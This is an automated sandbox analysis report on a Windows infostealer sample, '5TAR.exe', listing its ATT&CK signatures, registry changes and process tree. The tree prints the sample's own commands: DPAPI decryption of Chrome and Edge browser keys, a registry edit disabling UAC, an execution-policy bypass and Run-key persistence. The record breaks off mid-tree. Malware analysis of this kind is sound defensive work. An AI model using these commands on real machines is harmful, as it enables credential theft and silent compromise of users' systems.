955f34b03a750dafa467506717bb97f0aedb1f40afcb8494819d3c50a9889e55

Analysis

max time kernel
1356s
max time network
1147s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
01-11-2024 16:42

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

5TAR.exe
Size

37.2MB
MD5

319b40c6183936077f43a1bece77b636
SHA1

ea16f1e1ef7723d860b35728e055653c8bd6b3ae
SHA256

955f34b03a750dafa467506717bb97f0aedb1f40afcb8494819d3c50a9889e55
SHA512

a6263edc173f6605a4a665215eb3304bfc451adb9c50a676d5dc7e9949a81f24d3ecac1890cf612a95eda406ecc4c95dadcc4b167956c54042acd6ab078d24ad
SSDEEP

393216:RQgHDlanaGBXvDKtz+bhPWES4tiNQPNrIKc4gaPbUAgrO4mgn96l+ZArYsFRlnPw:R3on1HvSzxAMNnFZArYsPPvX7OZKmd

Score

10^/10

discovery evasion execution persistence spyware stealer trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2924	powershell.exe
3780	powershell.exe
3840	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	5TAR.exe

Executes dropped EXE 2 IoCs

pid	Process
2868	python-installer.exe
1688	python-installer.exe

Loads dropped DLL 2 IoCs

pid	Process
4044	5TAR.exe
1688	python-installer.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\5TAR = "C:\\ProgramData\\Update.vbs"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4} = "\"C:\\Users\\Admin\\AppData\\Local\\Package Cache\\{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4}\\python-3.12.6-amd64.exe\" /burn.runonce"	python-installer.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
30	1492	msiexec.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
7	discord.com
24	discord.com

An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs

pid	Process
4944	cmd.exe
2492	cmd.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\ymV9gEAwO4.txt	5TAR.exe
File created	C:\Windows\System32\ymV9gEAwO4.txt	5TAR.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
3788	tasklist.exe
1232	tasklist.exe

Drops file in Windows directory 22 IoCs

description	ioc	Process
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{901B913C-FA63-48D2-9842-7D7676739378}	msiexec.exe
File opened for modification	C:\Windows\Installer\e57e043.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{537B2AF5-504B-4303-99CB-FDE56F47AA51}	msiexec.exe
File created	C:\Windows\Installer\SourceHash{2F4E9933-7587-4D85-9BA1-F2903AFB36D8}	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\e57e043.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE59E.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\e57e048.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e57e03e.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE2FD.tmp	msiexec.exe
File created	C:\Windows\Installer\e57e047.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIEA81.tmp	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\e57e042.msi	msiexec.exe
File created	C:\Windows\Installer\e57e048.msi	msiexec.exe
File created	C:\Windows\Installer\e57e04c.msi	msiexec.exe
File created	C:\Windows\Installer\e57e04d.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e57e04d.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{1DAEF824-881A-49C6-B91E-1D28877FF18D}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF3D9.tmp	msiexec.exe
File created	C:\Windows\Installer\e57e03e.msi	msiexec.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python-installer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python-installer.exe

Modifies registry class 30 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Installer	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Installer\Dependencies\{901B913C-FA63-48D2-9842-7D7676739378}\ = "{901B913C-FA63-48D2-9842-7D7676739378}"	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Installer\Dependencies\{901B913C-FA63-48D2-9842-7D7676739378}\Dependents\{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4}	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Installer\Dependencies\{901B913C-FA63-48D2-9842-7D7676739378}\Dependents	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Installer\Dependencies\{537B2AF5-504B-4303-99CB-FDE56F47AA51}\Dependents\{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4}	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Installer\Dependencies\{2F4E9933-7587-4D85-9BA1-F2903AFB36D8}\ = "{2F4E9933-7587-4D85-9BA1-F2903AFB36D8}"	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Installer\Dependencies\{2F4E9933-7587-4D85-9BA1-F2903AFB36D8}	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Installer\Dependencies\CPython-3.12\Version = "3.12.6150.0"	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Installer\Dependencies\{537B2AF5-504B-4303-99CB-FDE56F47AA51}\ = "{537B2AF5-504B-4303-99CB-FDE56F47AA51}"	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Installer\Dependencies\{537B2AF5-504B-4303-99CB-FDE56F47AA51}\Version = "3.12.6150.0"	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Installer\Dependencies\{1DAEF824-881A-49C6-B91E-1D28877FF18D}\Version = "3.12.6150.0"	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Installer\Dependencies\{1DAEF824-881A-49C6-B91E-1D28877FF18D}\DisplayName = "Python 3.12.6 Standard Library (64-bit)"	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Installer\Dependencies\CPython-3.12	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Installer\Dependencies\CPython-3.12\Dependents	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Installer\Dependencies\{537B2AF5-504B-4303-99CB-FDE56F47AA51}\DisplayName = "Python 3.12.6 Executables (64-bit)"	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Installer\Dependencies\{537B2AF5-504B-4303-99CB-FDE56F47AA51}\Dependents	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Installer\Dependencies\{2F4E9933-7587-4D85-9BA1-F2903AFB36D8}\DisplayName = "Python 3.12.6 Development Libraries (64-bit)"	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Installer\Dependencies\{1DAEF824-881A-49C6-B91E-1D28877FF18D}	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Installer\Dependencies\CPython-3.12\ = "{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4}"	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Installer\Dependencies\{901B913C-FA63-48D2-9842-7D7676739378}\Version = "3.12.6150.0"	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Installer\Dependencies\{2F4E9933-7587-4D85-9BA1-F2903AFB36D8}\Version = "3.12.6150.0"	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Installer\Dependencies\{2F4E9933-7587-4D85-9BA1-F2903AFB36D8}\Dependents	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Installer\Dependencies	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Installer\Dependencies\CPython-3.12\DisplayName = "Python 3.12.6 (64-bit)"	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Installer\Dependencies\{901B913C-FA63-48D2-9842-7D7676739378}	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Installer\Dependencies\{901B913C-FA63-48D2-9842-7D7676739378}\DisplayName = "Python 3.12.6 Core Interpreter (64-bit)"	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Installer\Dependencies\{537B2AF5-504B-4303-99CB-FDE56F47AA51}	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Installer\Dependencies\{2F4E9933-7587-4D85-9BA1-F2903AFB36D8}\Dependents\{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4}	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Installer\Dependencies\CPython-3.12\Dependents\{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4}	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Installer\Dependencies\{1DAEF824-881A-49C6-B91E-1D28877FF18D}\ = "{1DAEF824-881A-49C6-B91E-1D28877FF18D}"	python-installer.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
2924	powershell.exe
2924	powershell.exe
4408	powershell.exe
4408	powershell.exe
2528	powershell.exe
2528	powershell.exe
3780	powershell.exe
3780	powershell.exe
3840	powershell.exe
3840	powershell.exe
1492	msiexec.exe
1492	msiexec.exe
1492	msiexec.exe
1492	msiexec.exe
1492	msiexec.exe
1492	msiexec.exe
1492	msiexec.exe
1492	msiexec.exe
1492	msiexec.exe
1492	msiexec.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2924	powershell.exe
Token: SeIncreaseQuotaPrivilege	2744	WMIC.exe
Token: SeSecurityPrivilege	2744	WMIC.exe
Token: SeTakeOwnershipPrivilege	2744	WMIC.exe
Token: SeLoadDriverPrivilege	2744	WMIC.exe
Token: SeSystemProfilePrivilege	2744	WMIC.exe
Token: SeSystemtimePrivilege	2744	WMIC.exe
Token: SeProfSingleProcessPrivilege	2744	WMIC.exe
Token: SeIncBasePriorityPrivilege	2744	WMIC.exe
Token: SeCreatePagefilePrivilege	2744	WMIC.exe
Token: SeBackupPrivilege	2744	WMIC.exe
Token: SeRestorePrivilege	2744	WMIC.exe
Token: SeShutdownPrivilege	2744	WMIC.exe
Token: SeDebugPrivilege	2744	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2744	WMIC.exe
Token: SeRemoteShutdownPrivilege	2744	WMIC.exe
Token: SeUndockPrivilege	2744	WMIC.exe
Token: SeManageVolumePrivilege	2744	WMIC.exe
Token: 33	2744	WMIC.exe
Token: 34	2744	WMIC.exe
Token: 35	2744	WMIC.exe
Token: 36	2744	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2744	WMIC.exe
Token: SeSecurityPrivilege	2744	WMIC.exe
Token: SeTakeOwnershipPrivilege	2744	WMIC.exe
Token: SeLoadDriverPrivilege	2744	WMIC.exe
Token: SeSystemProfilePrivilege	2744	WMIC.exe
Token: SeSystemtimePrivilege	2744	WMIC.exe
Token: SeProfSingleProcessPrivilege	2744	WMIC.exe
Token: SeIncBasePriorityPrivilege	2744	WMIC.exe
Token: SeCreatePagefilePrivilege	2744	WMIC.exe
Token: SeBackupPrivilege	2744	WMIC.exe
Token: SeRestorePrivilege	2744	WMIC.exe
Token: SeShutdownPrivilege	2744	WMIC.exe
Token: SeDebugPrivilege	2744	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2744	WMIC.exe
Token: SeRemoteShutdownPrivilege	2744	WMIC.exe
Token: SeUndockPrivilege	2744	WMIC.exe
Token: SeManageVolumePrivilege	2744	WMIC.exe
Token: 33	2744	WMIC.exe
Token: 34	2744	WMIC.exe
Token: 35	2744	WMIC.exe
Token: 36	2744	WMIC.exe
Token: SeDebugPrivilege	3788	tasklist.exe
Token: SeDebugPrivilege	1232	tasklist.exe
Token: SeDebugPrivilege	4408	powershell.exe
Token: SeDebugPrivilege	2528	powershell.exe
Token: SeIncreaseQuotaPrivilege	4488	WMIC.exe
Token: SeSecurityPrivilege	4488	WMIC.exe
Token: SeTakeOwnershipPrivilege	4488	WMIC.exe
Token: SeLoadDriverPrivilege	4488	WMIC.exe
Token: SeSystemProfilePrivilege	4488	WMIC.exe
Token: SeSystemtimePrivilege	4488	WMIC.exe
Token: SeProfSingleProcessPrivilege	4488	WMIC.exe
Token: SeIncBasePriorityPrivilege	4488	WMIC.exe
Token: SeCreatePagefilePrivilege	4488	WMIC.exe
Token: SeBackupPrivilege	4488	WMIC.exe
Token: SeRestorePrivilege	4488	WMIC.exe
Token: SeShutdownPrivilege	4488	WMIC.exe
Token: SeDebugPrivilege	4488	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4488	WMIC.exe
Token: SeRemoteShutdownPrivilege	4488	WMIC.exe
Token: SeUndockPrivilege	4488	WMIC.exe
Token: SeManageVolumePrivilege	4488	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4044 wrote to memory of 3588	4044	5TAR.exe	88
PID 4044 wrote to memory of 3588	4044	5TAR.exe	88
PID 3588 wrote to memory of 2924	3588	cmd.exe	89
PID 3588 wrote to memory of 2924	3588	cmd.exe	89
PID 2924 wrote to memory of 1264	2924	powershell.exe	90
PID 2924 wrote to memory of 1264	2924	powershell.exe	90
PID 1264 wrote to memory of 5112	1264	csc.exe	91
PID 1264 wrote to memory of 5112	1264	csc.exe	91
PID 4044 wrote to memory of 1420	4044	5TAR.exe	92
PID 4044 wrote to memory of 1420	4044	5TAR.exe	92
PID 1420 wrote to memory of 2744	1420	cmd.exe	93
PID 1420 wrote to memory of 2744	1420	cmd.exe	93
PID 4044 wrote to memory of 916	4044	5TAR.exe	94
PID 4044 wrote to memory of 916	4044	5TAR.exe	94
PID 916 wrote to memory of 3788	916	cmd.exe	95
PID 916 wrote to memory of 3788	916	cmd.exe	95
PID 4044 wrote to memory of 5088	4044	5TAR.exe	97
PID 4044 wrote to memory of 5088	4044	5TAR.exe	97
PID 4044 wrote to memory of 4944	4044	5TAR.exe	98
PID 4044 wrote to memory of 4944	4044	5TAR.exe	98
PID 4944 wrote to memory of 4408	4944	cmd.exe	99
PID 4944 wrote to memory of 4408	4944	cmd.exe	99
PID 5088 wrote to memory of 1232	5088	cmd.exe	100
PID 5088 wrote to memory of 1232	5088	cmd.exe	100
PID 4044 wrote to memory of 2492	4044	5TAR.exe	101
PID 4044 wrote to memory of 2492	4044	5TAR.exe	101
PID 2492 wrote to memory of 2528	2492	cmd.exe	102
PID 2492 wrote to memory of 2528	2492	cmd.exe	102
PID 4044 wrote to memory of 3004	4044	5TAR.exe	103
PID 4044 wrote to memory of 3004	4044	5TAR.exe	103
PID 3004 wrote to memory of 856	3004	cmd.exe	104
PID 3004 wrote to memory of 856	3004	cmd.exe	104
PID 4044 wrote to memory of 640	4044	5TAR.exe	105
PID 4044 wrote to memory of 640	4044	5TAR.exe	105
PID 4044 wrote to memory of 4256	4044	5TAR.exe	106
PID 4044 wrote to memory of 4256	4044	5TAR.exe	106
PID 4044 wrote to memory of 2708	4044	5TAR.exe	107
PID 4044 wrote to memory of 2708	4044	5TAR.exe	107
PID 2708 wrote to memory of 3780	2708	cmd.exe	108
PID 2708 wrote to memory of 3780	2708	cmd.exe	108
PID 640 wrote to memory of 4488	640	cmd.exe	109
PID 640 wrote to memory of 4488	640	cmd.exe	109
PID 4256 wrote to memory of 2068	4256	cmd.exe	110
PID 4256 wrote to memory of 2068	4256	cmd.exe	110
PID 4044 wrote to memory of 4280	4044	5TAR.exe	111
PID 4044 wrote to memory of 4280	4044	5TAR.exe	111
PID 4280 wrote to memory of 3840	4280	cmd.exe	112
PID 4280 wrote to memory of 3840	4280	cmd.exe	112
PID 4044 wrote to memory of 3272	4044	5TAR.exe	115
PID 4044 wrote to memory of 3272	4044	5TAR.exe	115
PID 4044 wrote to memory of 4988	4044	5TAR.exe	116
PID 4044 wrote to memory of 4988	4044	5TAR.exe	116
PID 4044 wrote to memory of 3492	4044	5TAR.exe	117
PID 4044 wrote to memory of 3492	4044	5TAR.exe	117
PID 3272 wrote to memory of 2188	3272	cmd.exe	118
PID 3272 wrote to memory of 2188	3272	cmd.exe	118
PID 4988 wrote to memory of 2340	4988	cmd.exe	119
PID 4988 wrote to memory of 2340	4988	cmd.exe	119
PID 4044 wrote to memory of 972	4044	5TAR.exe	120
PID 4044 wrote to memory of 972	4044	5TAR.exe	120
PID 972 wrote to memory of 4520	972	cmd.exe	121
PID 972 wrote to memory of 4520	972	cmd.exe	121
PID 4044 wrote to memory of 1992	4044	5TAR.exe	122
PID 4044 wrote to memory of 1992	4044	5TAR.exe	122

C:\Users\Admin\AppData\Local\Temp\5TAR.exe
"C:\Users\Admin\AppData\Local\Temp\5TAR.exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:4044
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\yXJi7gGl5w.ps1""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3588
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\yXJi7gGl5w.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2924
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1eima4tz\1eima4tz.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1264
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB6EC.tmp" "c:\Users\Admin\AppData\Local\Temp\1eima4tz\CSCA6BFA58FD7B94966A5789E543A464B9.TMP"
        5⤵
        
        PID:5112
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1420
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic diskdrive get serialnumber
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:916
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:3788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5088
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:1232
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,129,16,73,93,74,164,203,65,182,117,126,178,71,44,110,81,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,164,116,187,42,169,65,115,97,219,49,37,208,128,127,105,73,241,132,95,93,215,30,2,158,91,166,71,223,77,32,129,179,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,245,156,200,243,26,139,147,183,234,188,125,196,88,247,5,179,82,87,136,238,102,232,32,84,159,204,88,87,76,126,165,121,48,0,0,0,174,213,17,235,90,208,184,10,204,58,215,134,9,45,164,76,97,12,3,229,87,60,220,26,154,199,7,93,64,125,95,226,186,21,165,117,250,194,88,181,180,70,5,126,248,225,118,90,64,0,0,0,247,121,11,8,160,209,43,107,210,107,62,185,249,57,132,197,41,152,160,172,160,161,105,255,178,201,87,103,41,95,249,36,248,222,112,11,165,255,10,145,205,227,31,246,100,142,106,5,213,230,141,211,242,169,127,91,29,216,27,195,134,91,44,130), $null, 'CurrentUser')"
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:4944
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,129,16,73,93,74,164,203,65,182,117,126,178,71,44,110,81,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,164,116,187,42,169,65,115,97,219,49,37,208,128,127,105,73,241,132,95,93,215,30,2,158,91,166,71,223,77,32,129,179,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,245,156,200,243,26,139,147,183,234,188,125,196,88,247,5,179,82,87,136,238,102,232,32,84,159,204,88,87,76,126,165,121,48,0,0,0,174,213,17,235,90,208,184,10,204,58,215,134,9,45,164,76,97,12,3,229,87,60,220,26,154,199,7,93,64,125,95,226,186,21,165,117,250,194,88,181,180,70,5,126,248,225,118,90,64,0,0,0,247,121,11,8,160,209,43,107,210,107,62,185,249,57,132,197,41,152,160,172,160,161,105,255,178,201,87,103,41,95,249,36,248,222,112,11,165,255,10,145,205,227,31,246,100,142,106,5,213,230,141,211,242,169,127,91,29,216,27,195,134,91,44,130), $null, 'CurrentUser')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4408
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,129,16,73,93,74,164,203,65,182,117,126,178,71,44,110,81,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,139,149,61,22,143,208,165,197,251,123,169,210,55,219,148,113,165,181,91,154,157,197,12,55,51,111,165,149,72,78,237,230,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,213,153,171,134,150,145,222,15,139,172,47,244,46,116,201,210,254,92,188,199,93,217,118,211,78,85,206,8,179,42,144,37,48,0,0,0,59,229,32,183,146,197,76,162,43,149,77,99,91,70,22,3,32,131,150,80,172,96,181,205,177,235,161,169,187,158,71,242,89,118,199,212,124,47,217,10,178,61,94,160,223,255,89,165,64,0,0,0,208,96,221,169,23,218,255,248,232,171,138,90,122,41,178,31,54,183,175,178,212,152,53,7,131,216,218,78,238,248,23,250,90,143,245,171,92,163,243,249,126,109,209,117,176,98,2,218,130,34,93,191,120,231,38,237,14,201,175,171,85,186,175,100), $null, 'CurrentUser')"
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:2492
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,129,16,73,93,74,164,203,65,182,117,126,178,71,44,110,81,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,139,149,61,22,143,208,165,197,251,123,169,210,55,219,148,113,165,181,91,154,157,197,12,55,51,111,165,149,72,78,237,230,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,213,153,171,134,150,145,222,15,139,172,47,244,46,116,201,210,254,92,188,199,93,217,118,211,78,85,206,8,179,42,144,37,48,0,0,0,59,229,32,183,146,197,76,162,43,149,77,99,91,70,22,3,32,131,150,80,172,96,181,205,177,235,161,169,187,158,71,242,89,118,199,212,124,47,217,10,178,61,94,160,223,255,89,165,64,0,0,0,208,96,221,169,23,218,255,248,232,171,138,90,122,41,178,31,54,183,175,178,212,152,53,7,131,216,218,78,238,248,23,250,90,143,245,171,92,163,243,249,126,109,209,117,176,98,2,218,130,34,93,191,120,231,38,237,14,201,175,171,85,186,175,100), $null, 'CurrentUser')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2528
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3004
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    PID:856
- C:\Windows\system32\cmd.exe
